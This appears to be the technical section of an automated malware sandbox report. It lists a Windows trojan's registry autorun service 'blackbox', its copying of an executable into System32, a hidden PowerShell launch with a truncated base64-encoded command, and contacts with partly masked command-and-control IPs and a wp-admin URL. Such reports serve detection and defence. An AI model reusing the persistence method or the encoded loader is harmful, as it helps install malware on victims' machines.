Technical Information
- [<HKLM>\System\CurrentControlSet\Services\blackbox] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\blackbox] 'ImagePath' = '"<SYSTEM32>\ucmhc\blackbox.exe"'
- 'blackbox' "<SYSTEM32>\ucmhc\blackbox.exe"
- 'blackbox' <SYSTEM32>\ucmhc\blackbox.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHkAYgBzAHUAbgA2AD0AKAAoACcAUwByACcAKwAnAF8AcAAnACkAKwAnAGoAMQAnACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAdQBzAGUAcgBQAHIAbwBGAEkATABFAFwAeAAwAH...
- %HOMEPATH%\x0qgbf5\ndagpyk\cjtcx0pm2.exe
- <SYSTEM32>\ucmhc\blackbox.exe
- from %HOMEPATH%\x0qgbf5\ndagpyk\cjtcx0pm2.exe to <SYSTEM32>\ucmhc\blackbox.exe
- '50.##1.220.50':80
- '51.##.33.122':80
- '54.#7.42.48':8080
- http://mo####hoiniere.com/wp-admin/8/
- http://54.##.42.48:8080/LlqFYK/ via 54.#7.42.48
- DNS ASK mo####hoiniere.com
- '%HOMEPATH%\x0qgbf5\ndagpyk\cjtcx0pm2.exe'
- '<SYSTEM32>\ucmhc\blackbox.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHkAYgBzAHUAbgA2AD0AKAAoACcAUwByACcAKwAnAF8AcAAnACkAKwAnAGoAMQAnACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAdQBzAGUAcgBQAHIAbwBGAEkATABFAFwAeAAwAH...' (with hidden window)